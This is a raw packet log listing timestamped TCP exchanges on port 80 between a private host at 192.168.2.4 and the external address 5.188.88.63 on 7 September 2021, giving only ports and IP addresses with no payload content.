Sep 7, 2021 16:02:52.315367937 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.315376997 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315423012 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315469980 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315510988 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.315545082 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.315551043 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.344587088 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344624996 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344651937 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344671011 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344698906 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344717979 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.344726086 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344748020 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344768047 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344790936 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344804049 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.344815016 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344836950 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344847918 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.344860077 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344883919 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344907045 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344928026 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344938040 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.344945908 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.344950914 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344974041 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.344995022 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345016003 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345020056 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345025063 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345037937 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345071077 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345081091 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345103979 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345124960 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345146894 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345155954 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345163107 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345170021 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345186949 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345208883 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345230103 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345251083 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345264912 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345273018 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345290899 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345295906 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345319033 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345335960 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345351934 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345367908 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345385075 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345402002 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345418930 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345433950 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345449924 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345464945 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345484972 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345518112 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345524073 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345576048 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.345583916 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345607996 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345633984 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.345725060 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.383833885 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.383862972 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.383881092 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.383897066 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.383914948 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.383930922 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.383948088 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.383964062 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.383981943 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384001970 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384021044 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384025097 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.384038925 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384048939 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.384056091 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.384057045 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384073973 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384087086 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384104013 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384123087 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.384143114 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.384169102 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.384207010 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413269043 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413304090 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413326979 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413348913 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413369894 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413394928 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413419962 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413424015 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413441896 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413444042 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413448095 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413466930 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413486958 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413494110 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413510084 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413532972 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413554907 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413580894 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413582087 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413585901 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413604021 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413628101 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413652897 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413676977 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413680077 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413681030 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413706064 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413729906 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413752079 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413762093 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413779020 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413804054 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413825989 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413830996 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413851023 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413876057 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413897038 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413919926 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413927078 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413930893 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.413942099 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413965940 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413986921 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.413996935 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414007902 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414031982 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414036989 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414055109 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414076090 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414093018 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414098978 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414122105 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414145947 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414169073 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414199114 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414228916 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414228916 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414241076 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414256096 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414279938 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414283991 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414299965 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414323092 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414331913 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414350986 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414378881 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.414403915 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414520979 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.414745092 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.453237057 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453279018 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453623056 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453655958 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453677893 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453704119 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453716040 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.453723907 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453727007 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.453752041 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453775883 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453787088 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.453790903 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.453799963 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453869104 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453893900 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.453944921 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.453948975 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.454067945 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.454113007 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.454138994 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.454161882 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.454186916 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.454209089 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.454210043 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.454212904 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.455132008 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.481345892 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481386900 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481410027 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481431007 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481451035 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481472969 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481499910 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.481554031 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.481848001 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481877089 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481897116 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481916904 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481937885 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481962919 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481986046 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.481987000 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.481998920 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482007980 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482029915 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482049942 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482088089 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482103109 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482134104 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482153893 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482176065 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482196093 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482218981 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482239962 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482260942 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482286930 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482310057 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482315063 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482326031 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482328892 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482332945 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482333899 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482337952 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482358932 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482383013 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482402086 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482408047 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482431889 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482453108 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482475042 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482477903 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482482910 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482501984 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482525110 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482546091 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482558012 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482568026 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482568026 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482590914 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482615948 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482636929 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482660055 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482661963 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482666969 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482687950 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482711077 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482733011 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482743025 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482753038 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:52.482839108 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.482846975 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.491497040 CEST	49756	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:52.556427956 CEST	80	49756	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:53.465856075 CEST	49759	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.539709091 CEST	80	49759	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:53.540889978 CEST	49759	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.543498993 CEST	49759	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.543564081 CEST	49759	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.616178989 CEST	80	49759	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:53.616328955 CEST	80	49759	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:53.778309107 CEST	80	49759	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:53.778395891 CEST	49759	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.782892942 CEST	49759	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.847768068 CEST	49761	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.855545044 CEST	80	49759	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:53.917537928 CEST	80	49761	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:53.918203115 CEST	49761	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.918359995 CEST	49761	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.921803951 CEST	49761	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:53.994344950 CEST	80	49761	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.147497892 CEST	80	49761	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.147584915 CEST	49761	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.147681952 CEST	49761	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.217619896 CEST	80	49761	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.222034931 CEST	49762	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.297519922 CEST	80	49762	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.298388958 CEST	49762	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.323556900 CEST	49762	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.323914051 CEST	49762	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.399296999 CEST	80	49762	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.556181908 CEST	80	49762	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.556391001 CEST	49762	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.567017078 CEST	49762	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.631912947 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.643744946 CEST	80	49762	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.696768045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.696888924 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.698213100 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.698249102 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.762825966 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.762857914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.974881887 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.976403952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.982662916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.983496904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.985997915 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.986119032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.987565041 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.987627029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.987710953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.987809896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.987833023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.987855911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:54.991192102 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:54.992182970 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.053319931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.053359985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.053400040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.053417921 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.053442001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.053464890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.053464890 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.053486109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.053488016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.053508997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.053546906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.053571939 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.057480097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057513952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057538033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057562113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057605982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057611942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.057627916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057651997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057655096 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.057676077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057678938 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.057698965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057723999 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057724953 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.057746887 CEST	80	49763	5.188.88.63	192.168.2.4
